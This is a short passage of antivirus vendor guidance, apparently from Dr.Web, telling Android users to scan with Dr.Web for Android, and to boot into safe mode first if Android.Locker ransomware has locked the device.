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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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